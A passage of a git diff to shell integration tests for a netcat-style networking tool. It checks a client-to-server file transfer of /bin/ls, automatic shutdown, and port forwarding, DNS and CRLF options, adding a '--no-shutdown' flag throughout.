"sleep 1" + + ### + ### Create data and files + ### + srv_stdout="$(tmp_file)" + srv_stderr="$(tmp_file)" + cli_stdout="$(tmp_file)" + cli_stderr="$(tmp_file)" + + + # -------------------------------------------------------------------------------- + # START: SERVER + # -------------------------------------------------------------------------------- + print_h2 "(1/5) Start: Server" + + # Start Server + print_info "Start Server" + # shellcheck disable=SC2086 + if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then + printf "" + fi + + # Wait until Server is up + run "sleep ${STARTUP_WAIT}" + + # [SERVER] Ensure Server is running + test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" + + # [SERVER] Ensure Server has no errors + test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" + + + # -------------------------------------------------------------------------------- + # START: CLIENT + # -------------------------------------------------------------------------------- + print_h2 "(2/5) Start: Client" + + # Start Client + print_info "Start Client" + # shellcheck disable=SC2086 + if ! cli_pid="$( run_bg "cat /bin/ls" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then + printf "" + fi + + # Wait until Client is done + run "sleep ${STARTUP_WAIT}" + + # Give some time for transfer + run "sleep 10" + + # [CLIENT] Ensure Client has no errors + test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" + + # [SERVER] Ensure Server still has no errors + test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" + + + # -------------------------------------------------------------------------------- + # DATA TRANSFER + # -------------------------------------------------------------------------------- + print_h2 "(3/5) Transfer: Client -> Server" + + # [CLIENT -> SERVER] + if ! run "diff /bin/ls ${srv_stdout}"; then + kill_pid "${srv_pid}" || true + kill_pid "${cli_pid}" || true + print_error "Transferred files differ" + print_file "SERVER] - [/dev/stderr" "${srv_stderr}" + print_file "CLIENT] - [/dev/stderr" "${cli_stderr}" + exit 1 + fi + + # -------------------------------------------------------------------------------- + # TEST: Server shut down automatically + # -------------------------------------------------------------------------------- + print_h2 "(4/5) Test: Server shut down automatically" + + # [SERVER] Ensure Server has quit automatically + test_case_instance_is_stopped "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" + + # [SERVER] Ensure Server still has no errors + test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" + + + # -------------------------------------------------------------------------------- + # TEST: Client shut down automatically + # -------------------------------------------------------------------------------- + print_h2 "(5/5) Test: Client shut down automatically" + + # [CLIENT] Ensure Client has quit automatically + test_case_instance_is_stopped "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" + + # [CLIENT] Ensure Client has no errors + test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" +} + + +# ------------------------------------------------------------------------------------------------- +# MAIN ENTRYPOINT +# ------------------------------------------------------------------------------------------------- + +for curr_round in $(seq "${RUNS}"); do + # server opts client opts + # BIND ON ANY + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --send-on-eof -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --send-on-eof -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --send-on-eof -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" + + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --send-on-eof -vvvv" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --send-on-eof -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" + + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --send-on-eof -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --send-on-eof -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --send-on-eof " "8" "16" "${curr_round}" "${RUNS}" + + # BIND ON SPECIFIC + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --send-on-eof -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --send-on-eof -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --send-on-eof -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" + + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --send-on-eof -vvvv" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --send-on-eof -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" + + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --send-on-eof -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --send-on-eof -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --send-on-eof " "16" "16" "${curr_round}" "${RUNS}" +done diff --git a/tests/integration/10-mode---local_forward/000---tcp---www-forward.sh b/tests/integration/10-mode---local_forward/000---tcp---www-forward.sh index f792d71e..addebde2 100755 --- a/tests/integration/10-mode---local_forward/000---tcp---www-forward.sh +++ b/tests/integration/10-mode---local_forward/000---tcp---www-forward.sh @@ -153,19 +153,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts - run_test "--local ${RHOST}:${RPORT} ${THOST} ${TPORT} -vvvv" "-vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "--local ${RHOST}:${RPORT} ${THOST} ${TPORT} -vvv " "-vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "--local ${RHOST}:${RPORT} ${THOST} ${TPORT} -vv " "-vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "--local ${RHOST}:${RPORT} ${THOST} ${TPORT} -v " "-vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "--local ${RHOST}:${RPORT} ${THOST} ${TPORT} " "-vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "--local ${RHOST}:${RPORT} ${THOST} ${TPORT} -vvvv" "-vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "--local ${RHOST}:${RPORT} ${THOST} ${TPORT} -vvvv" "-vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "--local ${RHOST}:${RPORT} ${THOST} ${TPORT} -vvvv" "-v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "--local ${RHOST}:${RPORT} ${THOST} ${TPORT} -vvvv" " " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "--local ${RHOST}:${RPORT} ${THOST} ${TPORT} -vvv " "-vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "--local ${RHOST}:${RPORT} ${THOST} ${TPORT} -vv " "-vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "--local ${RHOST}:${RPORT} ${THOST} ${TPORT} -v " "-v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "--local ${RHOST}:${RPORT} ${THOST} ${TPORT} " " " "13" "13" "${curr_round}" "${RUNS}" + run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvv " "--no-shutdown -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vv " "--no-shutdown -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -v " "--no-shutdown -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} " "--no-shutdown -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvv " "--no-shutdown -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vv " "--no-shutdown -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -v " "--no-shutdown -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} " "--no-shutdown " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/11-mode---remote_forward/000---tcp---www-forward.sh b/tests/integration/11-mode---remote_forward/000---tcp---www-forward.sh index c2212ca6..9f7c2b26 100755 --- a/tests/integration/11-mode---remote_forward/000---tcp---www-forward.sh +++ b/tests/integration/11-mode---remote_forward/000---tcp---www-forward.sh @@ -155,19 +155,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts - run_test "--remote ${RHOST}:${RPORT} ${THOST} ${TPORT} -vvvv" "-vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "--remote ${RHOST}:${RPORT} ${THOST} ${TPORT} -vvv " "-vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "--remote ${RHOST}:${RPORT} ${THOST} ${TPORT} -vv " "-vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "--remote ${RHOST}:${RPORT} ${THOST} ${TPORT} -v " "-vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "--remote ${RHOST}:${RPORT} ${THOST} ${TPORT} " "-vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "--remote ${RHOST}:${RPORT} ${THOST} ${TPORT} -vvvv" "-vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "--remote ${RHOST}:${RPORT} ${THOST} ${TPORT} -vvvv" "-vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "--remote ${RHOST}:${RPORT} ${THOST} ${TPORT} -vvvv" "-v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "--remote ${RHOST}:${RPORT} ${THOST} ${TPORT} -vvvv" " " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "--remote ${RHOST}:${RPORT} ${THOST} ${TPORT} -vvv " "-vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "--remote ${RHOST}:${RPORT} ${THOST} ${TPORT} -vv " "-vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "--remote ${RHOST}:${RPORT} ${THOST} ${TPORT} -v " "-v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "--remote ${RHOST}:${RPORT} ${THOST} ${TPORT} " " " "13" "13" "${curr_round}" "${RUNS}" + run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvv " "--no-shutdown -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vv " "--no-shutdown -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -v " "--no-shutdown -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} " "--no-shutdown -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvv " "--no-shutdown -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vv " "--no-shutdown -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -v " "--no-shutdown -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} " "--no-shutdown " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/20-options---nodns/000---tcp---client_nodns.sh b/tests/integration/20-options---nodns/000---tcp---client_nodns.sh index 41f92f51..17d8a7e1 100755 --- a/tests/integration/20-options---nodns/000---tcp---client_nodns.sh +++ b/tests/integration/20-options---nodns/000---tcp---client_nodns.sh @@ -87,15 +87,15 @@ run_test() { # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do - run_test "${RHOST} ${RPORT} -n -vvvv " "1" "10" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} -n -vvv " "2" "10" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} -n -vv " "3" "10" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} -n -v " "4" "10" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} -n " "5" "10" "${curr_round}" "${RUNS}" - - #run_test "${RHOST} ${RPORT} --nodns -vvvv" "6" "10" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} --nodns -vvv " "7" "10" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} --nodns -vv " "8" "10" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} --nodns -v " " 9" "10" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} --nodns " "10" "10" "${curr_round}" "${RUNS}" + run_test "${RHOST} ${RPORT} --no-shutdown -n -vvvv " "1" "10" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown -n -vvv " "2" "10" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown -n -vv " "3" "10" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown -n -v " "4" "10" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown -n " "5" "10" "${curr_round}" "${RUNS}" + + #run_test "${RHOST} ${RPORT} --no-shutdown --nodns -vvvv" "6" "10" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown --nodns -vvv " "7" "10" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown --nodns -vv " "8" "10" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown --nodns -v " " 9" "10" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown --nodns " "10" "10" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/20-options---nodns/001---udp---client_nodns.sh b/tests/integration/20-options---nodns/001---udp---client_nodns.sh index f1388507..af32a682 100755 --- a/tests/integration/20-options---nodns/001---udp---client_nodns.sh +++ b/tests/integration/20-options---nodns/001---udp---client_nodns.sh @@ -87,15 +87,15 @@ run_test() { # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do - run_test "${RHOST} ${RPORT} -u -n -vvvv " "1" "10" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} -u -n -vvv " "2" "10" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} -u -n -vv " "3" "10" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} -u -n -v " "4" "10" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} -u -n " "5" "10" "${curr_round}" "${RUNS}" - - #run_test "${RHOST} ${RPORT} -u --nodns -vvvv" "6" "10" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} -u --nodns -vvv " "7" "10" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} -u --nodns -vv " "8" "10" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} -u --nodns -v " " 9" "10" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} -u --nodns " "10" "10" "${curr_round}" "${RUNS}" + run_test "${RHOST} ${RPORT} --no-shutdown -u -n -vvvv " "1" "10" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown -u -n -vvv " "2" "10" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown -u -n -vv " "3" "10" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown -u -n -v " "4" "10" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown -u -n " "5" "10" "${curr_round}" "${RUNS}" + + #run_test "${RHOST} ${RPORT} --no-shutdown -u --nodns -vvvv" "6" "10" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown -u --nodns -vvv " "7" "10" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown -u --nodns -vv " "8" "10" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown -u --nodns -v " " 9" "10" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown -u --nodns " "10" "10" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/20-options---nodns/100---tcp---server_nodns.sh b/tests/integration/20-options---nodns/100---tcp---server_nodns.sh index 65ba1915..9909e3b4 100755 --- a/tests/integration/20-options---nodns/100---tcp---server_nodns.sh +++ b/tests/integration/20-options---nodns/100---tcp---server_nodns.sh @@ -87,15 +87,15 @@ run_test() { # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do - run_test "-l ${RHOST} ${RPORT} -n -vvvv " "1" "10" "${curr_round}" "${RUNS}" - #run_test "-l ${RHOST} ${RPORT} -n -vvv " "2" "10" "${curr_round}" "${RUNS}" - #run_test "-l ${RHOST} ${RPORT} -n -vv " "3" "10" "${curr_round}" "${RUNS}" - #run_test "-l ${RHOST} ${RPORT} -n -v " "4" "10" "${curr_round}" "${RUNS}" - #run_test "-l ${RHOST} ${RPORT} -n " "5" "10" "${curr_round}" "${RUNS}" - - #run_test "-l ${RHOST} ${RPORT} --nodns -vvvv" "6" "10" "${curr_round}" "${RUNS}" - #run_test "-l ${RHOST} ${RPORT} --nodns -vvv " "7" "10" "${curr_round}" "${RUNS}" - #run_test "-l ${RHOST} ${RPORT} --nodns -vv " "8" "10" "${curr_round}" "${RUNS}" - #run_test "-l ${RHOST} ${RPORT} --nodns -v " " 9" "10" "${curr_round}" "${RUNS}" - #run_test "-l ${RHOST} ${RPORT} --nodns " "10" "10" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -n -vvvv " "1" "10" "${curr_round}" "${RUNS}" + #run_test "-l ${RHOST} ${RPORT} --no-shutdown -n -vvv " "2" "10" "${curr_round}" "${RUNS}" + #run_test "-l ${RHOST} ${RPORT} --no-shutdown -n -vv " "3" "10" "${curr_round}" "${RUNS}" + #run_test "-l ${RHOST} ${RPORT} --no-shutdown -n -v " "4" "10" "${curr_round}" "${RUNS}" + #run_test "-l ${RHOST} ${RPORT} --no-shutdown -n " "5" "10" "${curr_round}" "${RUNS}" + + #run_test "-l ${RHOST} ${RPORT} --no-shutdown --nodns -vvvv" "6" "10" "${curr_round}" "${RUNS}" + #run_test "-l ${RHOST} ${RPORT} --no-shutdown --nodns -vvv " "7" "10" "${curr_round}" "${RUNS}" + #run_test "-l ${RHOST} ${RPORT} --no-shutdown --nodns -vv " "8" "10" "${curr_round}" "${RUNS}" + #run_test "-l ${RHOST} ${RPORT} --no-shutdown --nodns -v " " 9" "10" "${curr_round}" "${RUNS}" + #run_test "-l ${RHOST} ${RPORT} --no-shutdown --nodns " "10" "10" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/20-options---nodns/101---udp---server_nodns.sh b/tests/integration/20-options---nodns/101---udp---server_nodns.sh index 59d5ce58..3987674b 100755 --- a/tests/integration/20-options---nodns/101---udp---server_nodns.sh +++ b/tests/integration/20-options---nodns/101---udp---server_nodns.sh @@ -87,15 +87,15 @@ run_test() { # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do - run_test "-l ${RHOST} ${RPORT} -u -n -vvvv " "1" "10" "${curr_round}" "${RUNS}" - #run_test "-l ${RHOST} ${RPORT} -u -n -vvv " "2" "10" "${curr_round}" "${RUNS}" - #run_test "-l ${RHOST} ${RPORT} -u -n -vv " "3" "10" "${curr_round}" "${RUNS}" - #run_test "-l ${RHOST} ${RPORT} -u -n -v " "4" "10" "${curr_round}" "${RUNS}" - #run_test "-l ${RHOST} ${RPORT} -u -n " "5" "10" "${curr_round}" "${RUNS}" - - #run_test "-l ${RHOST} ${RPORT} -u --nodns -vvvv" "6" "10" "${curr_round}" "${RUNS}" - #run_test "-l ${RHOST} ${RPORT} -u --nodns -vvv " "7" "10" "${curr_round}" "${RUNS}" - #run_test "-l ${RHOST} ${RPORT} -u --nodns -vv " "8" "10" "${curr_round}" "${RUNS}" - #run_test "-l ${RHOST} ${RPORT} -u --nodns -v " " 9" "10" "${curr_round}" "${RUNS}" - #run_test "-l ${RHOST} ${RPORT} -u --nodns " "10" "10" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -n -vvvv " "1" "10" "${curr_round}" "${RUNS}" + #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -n -vvv " "2" "10" "${curr_round}" "${RUNS}" + #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -n -vv " "3" "10" "${curr_round}" "${RUNS}" + #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -n -v " "4" "10" "${curr_round}" "${RUNS}" + #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -n " "5" "10" "${curr_round}" "${RUNS}" + + #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u --nodns -vvvv" "6" "10" "${curr_round}" "${RUNS}" + #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u --nodns -vvv " "7" "10" "${curr_round}" "${RUNS}" + #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u --nodns -vv " "8" "10" "${curr_round}" "${RUNS}" + #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u --nodns -v " " 9" "10" "${curr_round}" "${RUNS}" + #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u --nodns " "10" "10" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/000---tcp---client_crlf_crlf---server_sends_lf.sh b/tests/integration/21-options---crlf/000---tcp---client_crlf_crlf---server_sends_lf.sh index 98432be3..4c98e47f 100755 --- a/tests/integration/21-options---crlf/000---tcp---client_crlf_crlf---server_sends_lf.sh +++ b/tests/integration/21-options---crlf/000---tcp---client_crlf_crlf---server_sends_lf.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvv " "${RHOST} ${RPORT} --crlf crlf -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vv " "${RHOST} ${RPORT} --crlf crlf -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -v " "${RHOST} ${RPORT} --crlf crlf -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf " "${RHOST} ${RPORT} --crlf crlf -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf crlf -vvv " "${RHOST} ${RPORT} --crlf crlf -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vv " "${RHOST} ${RPORT} --crlf crlf -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -v " "${RHOST} ${RPORT} --crlf crlf -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf " "${RHOST} ${RPORT} --crlf crlf " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/001---tcp---client_crlf_crlf---server_sends_cr.sh b/tests/integration/21-options---crlf/001---tcp---client_crlf_crlf---server_sends_cr.sh index 87f1dd0c..a65d4176 100755 --- a/tests/integration/21-options---crlf/001---tcp---client_crlf_crlf---server_sends_cr.sh +++ b/tests/integration/21-options---crlf/001---tcp---client_crlf_crlf---server_sends_cr.sh @@ -136,19 